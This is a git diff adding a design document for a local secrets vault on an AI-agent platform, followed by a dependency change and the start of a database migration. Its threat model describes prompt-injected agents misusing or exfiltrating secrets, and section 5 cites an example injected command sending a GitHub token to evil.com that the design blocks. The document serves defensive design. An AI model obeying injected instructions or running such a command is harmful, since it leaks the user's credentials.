+2025–26 (GitGuardian: 24k+ secrets in MCP configs; OWASP: prompt-context leakage
+a top LLM risk; a wave of agent-vault products, §14). Core principle:
+
+> **Secrets must never enter the model's context. The model handles secret
+> *names*; the platform handles secret *values*.**
+
+## 2. Goals and non-goals
+
+Goals: **Store** (named secrets, env-var model, two protection tiers) · **Deliver**
+(CLI, values never on stdout, indirect injection) · **Ask** (`$<NAME>` → user
+fills via UI, agent woken with name only) · **Approve** (per-use, inline web card)
+· **Link** (skills) · **Sign** (pluggable provider; `local` default).
+
+Non-goals (now): team sharing; replacing provider OAuth; on-chain *broadcast*
+(no secret needed); defending a malicious same-OS-user process (§3); **building
+crypto** (we assemble audited libs); **account-abstraction / session-key signing**
+(`aa` — dropped from current scope per round 4, revisit if agent-autonomous
+on-chain spending becomes a real need); a 1Password-style **multi-container
+keyspace** (single-user → no sharing boundary; §4).
+
+## 3. Threat model
+
+| # | Threat | Defense |
+| --- | --- | --- |
+| T1 | value → LLM context / transcripts / IM | values never on stdout; injection below the text channel; ask via UI |
+| T2 | DB/file exfiltration | encrypted at rest (§7); vault tables denylisted in `data query` |
+| T3 | prompt-injected agent uses a high-value secret silently | `protected`: per-use approval, enforced cryptographically (unlock factor not on the machine) |
+| T4 | agent exfiltrates a delivered value | sign/proxy: value never in agent space; outbound redaction (§10) |
+
+Honest limits: a malicious same-OS process can read M1/M2 material or the
+standard-tier decrypt path (standard tier stops accidents + remote exfiltration,
+not a determined local attacker; protected + sign/proxy are the answer). An
+actively compromised daemon can serve malicious browser JS — we trust the daemon
+(user's own machine); browser-side crypto minimizes *passive* exposure, not E2EE
+vs a hostile server (Bitwarden-web boundary).
+
+## 4. Data model (settled)
+
+### 4.1 The shape: flat keyspace + light grouping, not multi-vault containers
+
+You asked whether to add a layer above `key` like 1Password's "vaults." My
+recommendation: **no multi-container keyspace** — and here's the reasoning. A
+1Password "vault" exists primarily as a *sharing / access-control boundary*
+(Personal vs Work vs team-shared). Avibe is **single-user, one instance per
+person** — that rationale is absent. A container model would also fragment the
+namespace: `$<NAME>` and `--env NAME` would need a qualifier (`$<vault:NAME>`),
+complicating the agent's mental model, which is deliberately "secrets = env vars,
+referenced by a single global name."
+
+Instead, get 80% of the ergonomic benefit with metadata that does **not** fragment
+the namespace:
+
+- **`name`** stays **globally unique** — the one reference key (`$<NAME>`,
+ `--env NAME`, `op://`-style). This is the core invariant.
+- **`group`** (nullable, default `"default"`) — a lightweight, optional org axis +
+ future unlock-scope hint ("grant this group for the session" — fights approval
+ fatigue). This is the "vault-lite": a label, not a separate keyspace. A secret's
+ name is unique regardless of group.
+- **`tags`** (JSON array) — free-form filtering ("aws", "crypto", "prod").
+
+The Vaults page renders **views** over the one flat keyspace: All / By group / By
+skill. If a real multi-tenant or project-isolation need appears later, `group`
+already exists as the seam to harden — but we don't pay for it now.
+
+### 4.2 `vault_secrets`
+
+| column | notes |
+| --- | --- |
+| `id`, `created_at`, `updated_at` | |
+| `name` | **UNIQUE**, ENV-style `^[A-Z][A-Z0-9_]*$` — the reference key |
+| `group` | nullable, default `"default"` — org + unlock-scope, **not** part of the name |
+| `tags` | JSON array, optional |
+| `kind` | `static` \| `keypair` |
+| `protection` | `standard` \| `protected` |
+| `signer_kind` | keypair only: `local` \| `external` \| `mpc:<provider>` |
+| `source` | `manual` \| `imported:1password` \| `op-reference` (§13.5) |
+| `ciphertext`, `nonce`, `wrap_meta` | envelope (§7); for protected, the DEK is wrapped by the VMK; null for `mpc`/`external`/`op-reference` (no local key/value) |
+| `public_meta` | desc; keypair: algo, pubkey, address, path, provider handle; `op-reference`: the `op://…` URI |
+| `policy` | allowed delivery modes, allowed hosts (proxy), `always_ask`, signer limits |
+| `last_used_at`, `use_count` | |
+
+### 4.3 `vault_links` — skills grouping is a relation, not a container
+
+How skills group (your question): a skill **declares** the secrets it needs;
+that's a **many-to-many relation**, not ownership. `vault_links`:
+`(secret_name, skill_name, source ∈ {skill_meta, agent, user}, required, created_at)`,
+unique on `(secret_name, skill_name)`.
+
+- One secret used by three skills = **one** `vault_secrets` row + three link rows.
+ No duplication, no copies, no per-skill keyspace.
+- `skill_meta` links are synced from SKILL.md frontmatter (§13); `agent`/`user`
+ links are explicit.
+- The "By skill" view groups by joining `vault_links` → each skill shows its
+ required keys with ✓ configured / ✗ missing + one-click fill. A key shared by
+ skills simply appears under each.
+
+### 4.4 `vault_groups`, `vault_requests`, `vault_grants`, `vault_audit`, config
+
+**`vault_groups`** (groups become a managed entity once they carry authorization
+policy — but still **not** a keyspace boundary; a secret's `group` is just a label
+pointing here, names stay global): `name` (unique), `description`, `grantable`
+(bool, default `true`; forced `false` if the group contains any `keypair`),
+`max_grant_ttl_seconds` (default 900 = 15 min, cap 3600), `created_at`. Seed row:
+`default`.
+
+**`vault_requests`** (one queue): `request_type`
+`provision`/`access`/`sign`/`proxy`/`keygen`, `secret_name`, `requester`,
+`delivery`, `status`, `expires_at`, `message_id`.
+
+**`vault_grants`** (metadata + audit of active scope-typed grants; the key material
+— the cached DEK set — is **never** stored here, only held in daemon memory, §9.5):
+`id`, `scope_type` (`secret`/`skill`/`group`), `scope_ref` (the name), `session_id`
+(nullable = any-session), `created_at`, `expires_at`, `revoked_at`,
+`created_by_request_id`, `status` (`active`/`expired`/`revoked`). The resolved
+member set may be snapshotted for audit; it's frozen at grant time.
+
+**`vault_audit`**: append-only, values never appear. Vault config (VMK wraps, KDF
+params, machine-key mode, key-check) in `state_meta` under `vault:*`. `vibe data
+query` denylists `vault_secrets`; the rest stay queryable.
+
+Tiers: **`standard`** ("plain" UX) — encrypted at rest under the machine key
+(§7.2), daemon-decryptable, headless. **`protected`** ("encrypted" UX) — under the
+VMK (§7.1), needs approval + a user factor. `keypair` always `protected`.
+
+## 5. Delivery modes — the security ladder
+
+**Recommended & promoted: `run`, `proxy`, `sign`** — the value never enters
+agent-readable space. **`export` and `inject` are de-emphasized** (round 4): they
+exist for cases the others can't cover, but they are documented in `vibe vault
+--help` **only** — never surfaced in the agent-facing system guidance / injected
+prompt, never the top-level recommendation. The agent reaches for them
+deliberately, not by default.
+
+### M1 `run` — child-process env (default, strongest)
+
+```
+vibe vault run --env OPENAI_API_KEY --env DB_URL=PROD_DB_URL --env-skill deploy-aws -- python sync.py
+```
+
+Resolves values, spawns the child with them in **its** env, execs. Multi-var:
+repeat `--env NAME`, alias `--env LOCAL=VAULT_NAME`, or `--env-skill` for a skill's
+whole set. **Cannot export into the calling shell — OS guarantee, not a
+limitation** (a child never writes its parent's env; and the agent's Bash tool
+doesn't persist shell state across calls anyway). That's *why* it's strongest: the
+value lives only in the child's memory, the agent sees only the child's output,
+and it's gone on exit. **Only mode where the value provably never enters the
+agent's text channel.**
+
+### M4 `proxy` — brokered HTTP (value never in agent space)
+
+```
+vibe vault fetch --auth GITHUB_PAT -- -X POST https://api.github.com/repos/x/y/issues -d @body.json
+```
+
+Daemon attaches the credential per the auth template, forwards; agent sees only the
+response. **Domain binding** (allowed-hosts, deny by default) fails a prompt-
+injected `fetch --auth GITHUB_PAT https://evil.com` closed.
+
+### M3 `sign` — signing oracle / wallet (key never leaves the signer) — §8
+
+### M1′ `export` / M2 `inject` — de-emphasized (help only)
+
+`export` streams `export NAME='value'` for `eval "$(vibe vault export --env A)"`
+(command-substitution keeps it off the visible TTY; only within one Bash call;
+weaker than `run` — value transits the agent's own shell). `inject` renders a file
+(`--format dotenv|json|yaml|toml` or `--template`, `0600`, **no default TTL** — opt
+in `--ttl` for ephemeral files). Both *materialize* the value where the agent's
+channel could reach it; kept for file-consuming tools / many-commands-in-one-shell,
+not promoted.
+
+## 6. Dynamic ask — `$<NAME>` and `vibe vault request`
+
+`$<OPENAI_API_KEY>` in a reply → `core/reply_enhancer.py` extracts it (outside code
+fences) → `provision` request. Web: inline **SecureInputCard** (out-of-band TLS
+submit). IM: `🔐 Agent requests OPENAI_API_KEY → [Open Vaults](…?request=id)`.
+`vibe vault request NAME --wait` long-polls; `--no-wait` → `hook_send` on
+fulfillment. **Wake-up carries the name only, never the value.**
+
+## 7. Crypto & auth (Q1: password + passkey, layered)
+
+### 7.1 Envelope with a Vault Master Key
+
+The answer to "password by default, passkey on top, password as fallback/reset":
+**yes, fully — they are not mutually exclusive.** The mechanism is a two-level
+envelope (the Bitwarden model):
+
+```
+VMK = Vault Master Key (random 32B), the protected-tier root
+ wrapped by KEK_password = Argon2id(vault password, salt) ← always present (recovery root)
+ wrapped by KEK_passkey_i = HKDF(WebAuthn PRF_i) ← 0..N, added on top
+protected secret: value --AES-256-GCM(DEK)--> ciphertext; DEK --wrapped by--> VMK
+standard secret: value --AES-256-GCM(DEK)--> ciphertext; DEK --wrapped by--> KEK_machine (§7.2, daemon-side)
+```
+
+Each protected DEK is wrapped directly by the VMK. (v6 introduced a per-group
+`GMK = HKDF(VMK, group)` layer; v7 drops it — see §9.5: grants now cache the
+covered **DEK set**, which works for any scope and never exposes the VMK, so the
+extra key layer earns nothing.)
+
+Because the **VMK is wrapped independently by each factor**, any one factor
+unwraps it. So:
+
+- **Default = password.** Set a vault password → `KEK_password` wraps the VMK.
+ Everything works with just the password.
+- **Enable passkey on top.** Unlock the VMK once (password), then wrap a copy with
+ the passkey's PRF-derived KEK. Now there are two independent wraps of the same
+ VMK. Add several passkeys the same way (laptop + phone).
+- **Default to passkey login, password as fallback.** The unlock UI tries the
+ passkey first (Face/Touch ID); if the passkey is unavailable/fails, it falls
+ back to the password prompt — both paths unwrap the same VMK, so they're
+ interchangeable.
+- **Lost passkey / reset.** Password still unwraps the VMK (it's an independent
+ wrap), so no data is lost. "Reset passkey" = unlock VMK via password → drop the
+ old passkey wrap → add a new one. The password is the structural recovery root;
+ the passkey is a convenience layer, never the sole gate.
+
+This also fixes the data-loss caveat from §7.3 in v4 (Tim Cappalli's warning:
+delete-passkey = lose-data) — here a deleted passkey only removes one wrap of the
+VMK; the password wrap remains.
+
+Adding/rotating a passkey or changing the password re-wraps **one** thing (the
+VMK), not every secret — cheap.
+
+### 7.2 Machine key (standard tier)
+
+32 random bytes on first write. **Default — key file**
+`~/.avibe/state/vault/machine.key` (`0600`): lives inside `~/.avibe`, travels with
+backups → no new loss mode; "copy `~/.avibe`" keeps working. **Opt-in — OS
+keychain** (`keyring`): key/data physically separated; needs `vibe vault
+key export/import` to migrate; headless boxes auto-fall back to file. Failure UX:
+key missing/mismatch → list affected secrets, offer import-key or re-enter;
+AES-GCM auth prevents silent wrong-key garbage.
+
+### 7.3 The factors
+
+- **Vault password**: Argon2id (interactive params), browser-side via `hash-wasm`.
+- **Passkey PRF** (the encryption mechanism, mature — Bitwarden/Dashlane/1Password/
+ WhatsApp use it): app passes a fixed salt → browser hashes it with a
+ `"WebAuthn PRF"` context → authenticator computes
+ `HMAC-SHA256(chip-held credential secret, hashed salt)` → deterministic 32B (the
+ chip secret never leaves the secure element) → HKDF → `KEK_passkey`. Domain-bound
+ (phishing-resistant). 2026 support: iCloud Keychain (Safari 18+), Google Password
+ Manager, Windows Hello, 1Password (✓ + open-sourced an E2EE lib), Bitwarden/
+ Dashlane; gap = roaming security keys on iOS (Apple won't pass PRF). Because
+ support isn't universal and a passkey can be lost, it's layered over the password
+ per §7.1, never the only factor.
+- Libraries: `pyca/cryptography` (in-tree) AES-GCM/HKDF/ed25519; `hash-wasm`
+ browser-side argon2 + `argon2-cffi` for daemon `key export`; `keyring` optional.
+
+### 7.4 Decryption locus (recap, settled)
+
+Standard → daemon-side permanently (headless). Protected → browser-side from commit
+1 (browser derives the factor KEK, unwraps VMK, unwraps the DEK, decrypts; POSTs
+only the one value back; for `local` keypairs signs in-iframe and returns only the
+signature). Vault password never reaches the daemon. `wrap_meta` client-unwrappable
+from the first migration — no rewrite.
+
+## 8. Wallet & signer architecture
+
+A keypair carries `signer_kind`; one **request → approval → signature** flow
+regardless of backend (`SignerProvider` with `address()` + `sign(payload, type)`).
+**Implementation order (round 4): `local` → `external` → `mpc`. `aa` dropped for
+now.**
+
+| `signer_kind` | key location | account/cloud | order |
+| --- | --- | --- | --- |
+| **`local`** (default) | on your machine, encrypted in the vault, decrypted only in an isolated browser iframe | none | **1st** |
+| **`external`** (WalletConnect) | the user's own wallet (MetaMask/Rabby); vault custodies nothing — sign requests route to the real wallet | none (their wallet) | **2nd** |
+| **`mpc:<provider>`** | sharded across provider cloud + device, never whole (Privy/Web3Auth/Turnkey/Lit) | provider account + cloud | **3rd** |
+
+**`local` (your Q's a/b/c, confirmed):** (a) mnemonic + private key are
+envelope-encrypted under the protected tier (always); `mpc`/`external` store no key.
+(b) decrypt + sign **in the browser iframe** — same browser-side decryption as any
+protected secret; only the signature leaves. (c) mature pattern = **cross-origin
+iframe isolation** (Privy/Magic/Dynamic): key only in iframe memory, host↔iframe via
+origin-validated `postMessage`, `viem toAccount` proxy, ECDSA via `@noble/curves`
+(audited; viem/ethers use it) + `@scure/bip39`, served `COOP:same-origin` +
+`COEP:credentialless`, tx-decode + approve UI **inside** the trusted iframe
+(anti-clickjack). Build = assemble audited libs (incl. ethers.js keystore as the
+proven encrypt+decrypt+sign reference) + a small iframe harness; **not** a
+cryptosystem, **not** a drop-in product (§8.6 below).
+
+**`external` (WalletConnect, 2nd):** the agent's `sign` request surfaces an
+approval card; on approve, the daemon opens a WalletConnect session to the user's
+real wallet (QR / deep link), the user signs **in their own wallet**, the signature
+returns. Zero custody in the vault — the strongest "we never hold the key" story,
+and a natural fit for users who already have a wallet. No custody account.
+
+**`mpc` (3rd, opt-in):** Privy/Web3Auth/Turnkey/Lit — threshold/TEE custody, key
+never whole, supports unattended policy signing. All require a provider account and
+put the key in their cloud/network — that's why they're last and opt-in, not the
+local-first default. (Detail matrix retained in §8.5.)
+
+### 8.5 Provider facts (retained from v4)
+
+Turnkey = AWS Nitro TEE, key ciphertext in their cloud DB decrypted only in the
+enclave, needs org + API key (sub-org creation server-side; sign client-side via
+passkey + `@turnkey/viem`). Privy = SSS shares (device-local + auth-cloud) or TEE
+2-of-2, app ID. Web3Auth = MPC-TSS across device + Torus nodes, dashboard clientId,
+frontend-only OK. Lit = PKP via DKG across a decentralized node net (>2/3), mint PKP
+on-chain. **All need an account; none keeps the key on your machine.**
+
+### 8.6 Build vs reuse (settled)
+
+No drop-in local agent-signing vault exists. We assemble audited libs (~90%): key
+storage/decrypt via our AES-GCM envelope (or ethers.js
+[keystore](https://docs.ethers.org/v3/api-wallet.html), Web3 Secret Storage) +
+signing via `@noble/curves`/`viem` + `@scure/bip39`. We build (~10%): the iframe
+harness, approval wiring, the `SignerProvider` interface. No hand-rolled crypto.
+
+## 9. Approval flow — inline interactive card
+
+Web-only. Pushed into the current session as a structured message, inline card.
+Codebase note: `system` message type exists but `core/message_mirror.py`
+deliberately doesn't persist it → reuse the **quick-reply rails** instead (persisted
+message, `author='system'`, `content.card_type='approval'`, set-once choice like
+`quick_reply_chosen`); add a `message.updated` SSE (only IM has it) so the card
+flips in place. `ApprovalCard` branch in `ChatPage.tsx`. Web session → inline; IM →
+notify + deep link; headless → persists, Vaults inbox fallback. Same
+`vault_requests` row.
+
+### 9.5 Scope-typed authorization — per-key / skill / group grants (anti-fatigue)
+
+Problem: every use of a `protected` secret triggers approval + unlock. An agent
+that uses `STRIPE_KEY` five times in a task, or a skill that needs several secrets,
+prompts every time. The fix is a **grant**: approve once, stay unlocked for a
+bounded window. Two requests shaped this (round 6): a **per-key** "don't re-ask for
+N min" grant, and **"unlock a skill's secrets together."**
+
+**One mechanism, three scopes.** A grant covers a *set* of secrets defined by its
+`scope`:
+
+- **`secret:NAME`** — just that one key (the smallest standing grant; the default on
+ approve for normal secrets, so rapid re-use of the same key doesn't re-prompt).
+- **`skill:S`** — every secret linked to skill S (resolved via `vault_links` at grant
+ time). This is the natural per-task unit: an agent about to run a skill gets *one*
+ approval for the whole bundle, then all its `vault run` calls are silent.
+- **`group:G`** — every secret in a manual org group G.
+
+(On "should `group` and `vault_link` be unified?" — the two data shapes stay
+distinct, because they *are* distinct: `group` is a 1:1 partition for organization,
+`vault_links` is an M:N dependency relation. The unification belongs at the **grant**
+layer — a grant can target a key, a skill, or a group — not by collapsing two
+different relations into one.)
+
+**How a grant decrypts (uniform, tighter than v6's GMK).** On approval the browser
+(holding the unlocked VMK) unwraps the DEK of each covered secret and POSTs that
+**set of DEKs** to the daemon over TLS. The daemon caches `{secret_id → DEK}` for
+the grant's window and, while live, decrypts those secrets on headless `vault run`
+with no browser and no prompt. **It caches keys, not plaintext** — each value is
+decrypted only at the instant of a `vault run` (from the cached DEK + the DB
+ciphertext) and dropped after injection, so plaintext never sits idle in memory;
+only the 32-byte DEKs do. **Blast radius = exactly the covered set** — the
+daemon holds only those DEKs, never the VMK, so nothing outside the set is
+reachable. The covered set is **frozen at grant time** (a secret added to the
+group/skill afterward isn't auto-covered — you'd re-approve), which is the
+conservative, predictable behavior.
+
+**Bounds (all shown on the card, all enforced):**
+
+- **TTL**: per-key default short (proposed **5 min**); skill/group default **15 min**;
+ options 1 h and until-revoked (cleared on daemon restart); capped by the group's
+ `max_grant_ttl_seconds`.
+- **Session binding**: this-session-only (default) · any-session (explicit opt-in).
+- **Hard exclusion: `keypair`/signing is never grantable.** A standing grant that
+ lets an agent sign ETH unattended is the catastrophic case — every signature stays
+ per-use approval with the decoded preview. A skill/group grant covers only the
+ **grantable (static) subset**; any keypair in the set is excluded and still
+ per-signature (the card says e.g. "covers 3 of 4 — ETH_KEY still asks each time").
+ A sensitive static secret opts out via per-secret `always_ask`.
+
+**Lifecycle & honesty:**
+
+- The cached **DEK set lives in daemon memory only, never persisted.** `vault_grants`
+ records the grant + its bounds for UI/audit, not key material. Restart → all grants
+ gone (re-approve). Safe default, not a bug.
+- A **conscious, scoped relaxation of §8.4.** Default (no grant): the daemon never
+ holds key material; every protected use is browser-decrypted. With a grant: the
+ user *explicitly* trades safety for convenience — bounded by time + an explicit
+ secret set + (default) one session, in-memory, revocable, audited. Same tradeoff a
+ password manager makes on "unlock", made opt-in and visible. (Python can't truly
+ zeroize; cached DEKs are the same exposure class as any in-memory secret,
+ time-bounded — noted, accepted.)
+- **The approval card offers the ladder.** "Approve once" (strict; the only option
+ for `always_ask` secrets) · "…and don't re-ask this key for 5 min" (per-key,
+ default) · "Unlock **skill deploy-aws** · 15 min (covers 3 of 4)" · "Unlock
+ **group crypto** · 15 min." Each shows the covered count, TTL control, and session
+ toggle, so the blast radius is explicit (rubber-stamping stays visibly risky).
+- **Revocation & visibility.** The Vaults page lists active grants (scope, covered
+ secrets, expires-in, bound session) with one-click **Revoke** (drops the cached
+ DEKs at once). Auto-revoke on TTL expiry, restart, explicit revoke, and (if
+ session-bound) session archive. Grants + each use are audited (`granted` /
+ `delivered-under-grant` / `grant-expired` / `grant-revoked`).
+- **Resolve path:** `/internal/vault/resolve` checks for an active, in-scope grant
+ covering the secret → if present, decrypt headlessly from the cached DEK; else fall
+ back to the `access` request + inline approval card (which offers the ladder).
+
+## 10. Outbound redaction (tripwire)
+
+Dispatcher is the single outbound chokepoint: scan for known plaintext values
+(standard; protected during an active grant), replace with `[REDACTED:NAME]` +
+audit + warning. Exact + base64/url variants. Turns an echoed secret into a logged
+near-miss.
+
+## 11. API & CLI surface
+
+REST `/api/vault/*`: `GET/POST/PATCH/DELETE /secrets`, `GET /requests`,
+`/requests/{id}/{fulfill|approve|deny}`, `GET/POST/DELETE /links`, `GET /audit`,
+`/keys/generate`→`/confirm` (web-only ceremony), `GET/POST /config`, `GET /signers`,
+`POST /import/1password` (§13.5), `GET/POST/DELETE /grants` (list / create-from-
+approval with `{group, gmk, ttl, session_binding}` / revoke; §9.5),
+`GET/POST/PATCH /groups`. SSE: `vault.request.new`, `vault.request.decided`,
+`vault.secrets.changed`, `vault.grant.changed`, `message.updated`.
+
+Internal UDS `/internal/vault/*`: `resolve`, `provision`, `sign`, `fetch`,
+`requests/{id}/wait`.
+
+CLI `vibe vault …`: `set NAME [--protected] [--group G] [--tag t] --stdin|--from-file f`
+· `list [--skill S] [--group G] [--tag t] [--json]` · `rm` · `run` (promoted) ·
+`fetch` (promoted) · `sign` (promoted) · `request` · `link/unlink --skill S NAME` ·
+`audit` · `key export/import` · `import 1password [--vault V]` (§13.5) · `export` /
+`inject` (help-only, not promoted). No `vibe vault get`; no command prints a value.
+
+## 12. End-to-end flows
+
+Standard/M1 (silent): `vault run` → UDS `resolve` → machine-KEK unwrap → child env.
+Protected/M1: until `protected` → `access` request → inline card → browser unlock
+(passkey or password → VMK → DEK, §7.1/§8.4) → complete blocked `resolve`. Dynamic
+ask: `$<NEW_KEY>` → SecureInputCard → save → name-only wake-up. ETH sign (local):
+web key ceremony (mnemonic once) → agent builds `tx.json` via its RPC → `vault sign`
+→ card decodes `to/value/gas/chainId/selector` → approve → iframe decrypts+signs →
+signature → agent broadcasts. Sign (external): card → WalletConnect → user signs in
+their wallet → signature.
+
+## 13. Skills integration
+
+SKILL.md frontmatter gains `secrets:` (name/required/description); read via
+`askill --json` (askill passes it through). Synced to `vault_links` with
+`source=skill_meta`. Per-skill view (✓/✗ + one-click fill). Many-to-many; no
+duplication (§4.3).
+
+### 13.5 1Password import (bonus research — feasible)
+
+Yes — a user can pull secrets from 1Password into the vault. 1Password exposes two
+programmatic surfaces; both fit, with different reach:
+
+- **`op` CLI (interactive, recommended first cut).** `op vault list` +
+ `op item list --vault X --format json` to enumerate, `op item get … --format json`
+ / `op read "op://Vault/Item/field"` to fetch. Auth = the user's **1Password
+ desktop app + CLI integration (biometric unlock)**. Because Avibe runs on the
+ user's own machine (local-first), `op` is right there, and crucially it **can read
+ the built-in Personal/Private vault**. UI flow: "Import from 1Password" →
+ `op vault list` → pick a vault → list items → user selects → fetch values →
+ encrypt under **our** envelope → store with `source=imported:1password`. One-time
+ copy (now two copies exist — 1P + ours).
+- **Service-account token + Python SDK (`onepassword-sdk`, headless option).**
+ `Client.authenticate(token)` → `client.secrets.resolve("op://…")` / list vaults &
+ items. Works on headless boxes (Incus tenants). Limitation: **service accounts
+ cannot read the built-in Personal/Private vault** — only explicitly-shared vaults.
+ Good for "import from a dedicated shared vault."
+- **Live `op://` reference (future passthrough, `source=op-reference`).** Instead of
+ copying, store the `op://Vault/Item/field` URI and resolve at delivery time via
+ `op read`. Keeps 1Password as the single source of truth (no duplication), but
+ adds a runtime dependency on `op` being authed and the value transits at resolve.
+
+Recommendation: ship **`op` CLI one-time import** first (simplest, covers Personal
+vault, uses the user's existing biometric unlock); offer **service-account** for
+headless; consider **live `op://` reference** later. 1Password explicitly markets
+service accounts + SDKs for [agentic AI access](https://1password.com/blog/service-accounts-sdks-agentic-ai),
+so this is a supported path. Honest note: import *copies* the secret into our vault
+(two copies, two blast radii); the live-reference mode is the only one that avoids
+duplication, at the cost of a hard `op` dependency.
+
+## 14. Prior art & libraries
+
+Injection: 1Password [`op run/inject`](https://developer.1password.com/docs/cli/secret-references/),
+Infisical `infisical run`. Brokered creds: [Arcade](https://docs.arcade.dev/en/get-started/about-arcade),
+Composio. Agent-vault OSS: [Infisical agent-vault](https://github.com/Infisical/agent-vault)
+(P3 proxy candidate). In-browser sign + keystore: [`@noble/curves`](https://paulmillr.com/noble/),
+[`viem toAccount`](https://viem.sh/docs/accounts/local/toAccount),
+[ethers keystore](https://docs.ethers.org/v3/api-wallet.html), cross-origin iframe +
+[COOP/COEP](https://developer.mozilla.org/en-US/docs/Web/Security/IFrame_credentialless).
+Embedded-wallet self-custody: [Privy](https://privy.io/blog/how-privy-embedded-wallets-work),
+Magic, Dynamic. WalletConnect (the `external` path). MPC: [Web3Auth](https://web3auth.io/docs/sdk/mpc-core-kit/mpc-core-kit-js),
+[Lit](https://developer.litprotocol.com/user-wallets/pkps/overview),
+[Turnkey](https://docs.turnkey.com/embedded-wallets/sub-organizations-as-wallets).
+Passkey encryption: [WebAuthn PRF](https://developers.yubico.com/WebAuthn/Concepts/PRF_Extension/Developers_Guide_to_PRF.html),
+[1Password PRF lib](https://1password.com/blog/encrypt-data-saved-passkeys),
+[Bitwarden](https://bitwarden.com/blog/prf-webauthn-and-its-role-in-passkeys/),
+[data-loss caveat](https://lilting.ch/en/articles/passkeys-prf-extension-encryption-risk).
+1Password import: [`op item`](https://developer.1password.com/docs/cli/reference/management-commands/item/),
+[Python SDK](https://github.com/1Password/onepassword-sdk-python).
+
+## 15. Architecture frozen up front, delivery incremental
+
+Lock the architecture now (data model incl. `group`/`tags`/`vault_links`,
+`wrap_meta` + VMK envelope, decryption split, `SignerProvider` interface, inline-
+card shape — final from commit 1); deliver as focused commits, no rip-and-replace.
+Capability order: (1) store + envelope (VMK + machine key) + CRUD (groups/tags) +
+`data query` denylist; (2) M1/M4 + dynamic ask; (3) protected tier + browser
+decryption + password→passkey layering + inline ApprovalCard + `message.updated` +
+redaction; (4) skills `secrets:` linkage + per-skill view + keychain mode + key
+export/import + **1Password import**; (5) `local` signer (iframe, BIP-39 ceremony,
+EIP-155/191/712 decoded approvals); (6) `external` WalletConnect signer; (7) `mpc`
+provider plug-ins; (8) transparent proxy + config-secret migration (closes #555) +
+session-scoped group grants. (`aa` deferred out of scope.)
+
+## 16. Decision log
+
+R1 (06-12): approval web-only; signer → secp256k1/ETH; phasing OK.
+R2 (06-13): protected decryption browser-side from commit 1; architecture frozen;
+pluggable `SignerProvider`; local sign in iframe; inline ApprovalCard.
+R3 (06-14): passkey = WebAuthn PRF + HKDF; assemble audited libs not build crypto;
+3rd-party signers all need account + cloud → opt-in; `run` multi-var, can't export
+to parent; `inject` formats + TTL-off.
+R4 (06-14):
+1. Auth is **layered** — VMK wrapped by password (always, recovery root) + passkeys
+ (on top); default-to-passkey-login with password fallback; reset passkey via
+ password. Not either/or (§7.1).
+2. `export`/`inject` **de-emphasized** — `--help` only, never in agent-facing
+ guidance; `run`/`proxy`/`sign` are promoted (§5).
+3. Signer order **`local` → `external`(WalletConnect) → `mpc`**; **`aa` dropped**
+ from scope (§8, §15).
+4. Data model: **flat global `name`** + optional `group` (vault-lite, not a 1Password
+ multi-container) + `tags`; **skills group via `vault_links` relation**, not a
+ container (§4). No multi-vault keyspace for a single-user product.
+5. **1Password import** is feasible — `op` CLI one-time import first (covers Personal
+ vault), service-account for headless, live `op://` reference later (§13.5).
+
+R5 (06-16): group authorization first cut (per-group `GMK = HKDF(VMK, group)`) —
+**superseded by R6**.
+R6 (06-16): **grants are scope-typed** — `secret:NAME` (per-key, default-on-approve,
+proposed 5 min) / `skill:S` (unlock a skill's secrets together, the per-task unit,
+15 min) / `group:G` (manual bundle). One mechanism: a grant caches the covered
+**DEK set** in daemon memory (drop v6's per-group GMK — too group-specific, can't
+span a skill's cross-group secrets; DEK-set is uniform + tighter, never exposes the
+VMK). Set frozen at grant time. `group` and `vault_link` stay distinct data shapes;
+the unification is at the grant layer. `keypair` never grantable (skill/group grants
+cover only the grantable static subset). `vault_grants` gains
+`scope_type`+`scope_ref`. Bounds/lifecycle/audit from R5 carry over.
+
+## 17. Open questions
+
+1. Reveal-on-click for standard-tier values in the UI: allow or never?
+2. `request --wait` / approval timeout default (proposal: 10 min); how a
+ denied/expired wait reads to the agent.
+3. Launch with passkey support on, or password-only first + passkey fast-follow
+ (given the iOS-roaming-key gap)? (Layering from §7.1 makes either safe.)
+4. askill `secrets:` frontmatter — confirm we own it + file the issue.
+5. ETH preview depth: selector + raw calldata to start, or ABI-decode +
+ dangerous-selector warnings day one?
+6. ~~unlock-scoping — design now or defer?~~ **Designed as scope-typed grants
+ (§9.5, R6).** Remaining sub-decisions: per-key default TTL (proposed 5 min) +
+ skill/group default TTL (proposed 15 min); default binding (proposed
+ this-session-only); whether "until-revoked" TTL ships at launch or is held back
+ as too broad; and whether "Approve once" auto-applies a per-key window by default
+ (proposed yes, except `always_ask` secrets).
+7. 1Password: one-time import only, or also build the live `op://` reference mode
+ (single-source-of-truth, but a hard `op` runtime dependency)?
diff --git a/pyproject.toml b/pyproject.toml
index 5b61d5241..6d05e0fa4 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -69,6 +69,7 @@ dependencies = [
"uvicorn[standard]>=0.27",
"imagesize>=1.4.1",
"pywebpush>=2.0.3",
+ "cryptography>=42.0",
]
[project.urls]
diff --git a/storage/alembic/versions/20260621_0023_vault_tables.py b/storage/alembic/versions/20260621_0023_vault_tables.py
new file mode 100644
index 000000000..32ecd96b9
--- /dev/null
+++ b/storage/alembic/versions/20260621_0023_vault_tables.py
@@ -0,0 +1,143 @@
+"""vault tables (secret management)
+
+Revision ID: 20260621_0023
+Revises: 20260622_0023
+Create Date: 2026-06-21 (re-parented onto 20260622_0023 to linearize after master)
+"""
+
+from __future__ import annotations
+
+from datetime import datetime, timezone
+
+import sqlalchemy as sa
+from alembic import op
+
+revision = "20260621_0023"
+down_revision = "20260622_0023"
+branch_labels = None
+depends_on = None
+
+
+def _tables() -> set[str]:
+ bind = op.get_bind()
+ return {row[0] for row in bind.exec_driver_sql("select name from sqlite_master where type = 'table'")}
+
+
+def upgrade() -> None:
+ existing = _tables()
+
+ if "vault_groups" not in existing:
+ op.create_table(
+ "vault_groups",
+ sa.Column("name", sa.String(), primary_key=True),
+ sa.Column("description", sa.Text(), nullable=True),
+ sa.Column("grantable", sa.Integer(), nullable=False, server_default="1"),
+ sa.Column("max_grant_ttl_seconds", sa.Integer(), nullable=False, server_default="900"),
+ sa.Column("created_at", sa.String(), nullable=False),
+ )
+
+ if "vault_secrets" not in existing:
+ op.create_table(
+ "vault_secrets",
+ sa.Column("id", sa.String(), primary_key=True),
+ sa.Column("name", sa.String(), nullable=False),
+ sa.Column("group_name", sa.String(), sa.ForeignKey("vault_groups.name"), nullable=False, server_default="default"),
